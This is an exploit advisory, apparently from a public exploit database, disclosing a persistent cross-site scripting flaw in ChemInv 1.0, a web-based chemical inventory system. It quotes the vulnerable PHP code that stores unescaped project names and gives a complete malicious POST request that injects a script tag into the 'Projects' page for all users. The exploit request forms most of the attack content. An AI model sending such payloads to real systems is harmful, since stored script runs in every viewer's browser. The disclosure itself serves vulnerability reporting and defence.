# Exploit Title: ChemInv 1.0 - Authenticated Persistent Cross-Site Scripting# Exploit Author: Bobby Cooke# Date: 2020-04-29# Software Link: https://github.com/tmorrell/cheminv# Software Info: # "Cheminv is a web-based chemical inventory system. This responsive database provides an accessible way to organize and order chemicals, and is provided as an open-source package for all non-commercial users."# "Cheminv was created by Thomas Morrell for the Haw Yang Lab at Princeton University"# "Cheminv is based on ecDB www.ecDB.net, which was created by Nils Fredriksson aka. ElectricMan and designed by Buildlog."# Version: 1# Tested On: CentOS# Vulnerability Type: # ChemInv suffers from a persistent cross-site scripting vulnerability(XSS). This vulnerability can be exploited to have all users of the system, with read access to the project, execute malicious client-side code; every time the users views the 'Projects' or 'Add Chemicals' tab.# The application's source code mitigates SQL injection (SQLi), but fails to sanitize HTML and JavaScript injections to the SQL database. # Vulnerable Source Code## proj_list.php
33include('include/include_proj_add.php');34 $AddProj = new ProjAdd;35 $AddProj->AddProj();3637 $proj_query = mysql_query("SELECT * FROM projects WHERE project_owner= $owner");## include/include_proj_add.php2classProjAdd{3 public function AddProj (){45 require_once('include/login/auth.php');6 include('include/mysql_connect.php');78if(isset($_POST['submit'])){9 $owner= $_SESSION['SESS_MEMBER_ID'];10 $name = mysql_real_escape_string($_POST['name']);1112if($name ==''){13 echo '<div class="message red">';14 echo 'You have to specify a name!';15 echo '</div>';16}17else{18 $sql="INSERT into projects (project_owner, project_name) VALUES ('$owner', '$name')";19 $sql_exec = mysql_query($sql);# Malicious POST Request to https://TARGET/proj_list.php
POST /proj_list.php HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0(X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://TARGET/proj_list.php
Content-Type: application/x-www-form-urlencoded
Content-Length:16
Connection: close
Cookie: PHPSESSID=7af5kg3to8fstfum0to1ukpb85
name=evilProject<script>alert('XSS');</script>&submit=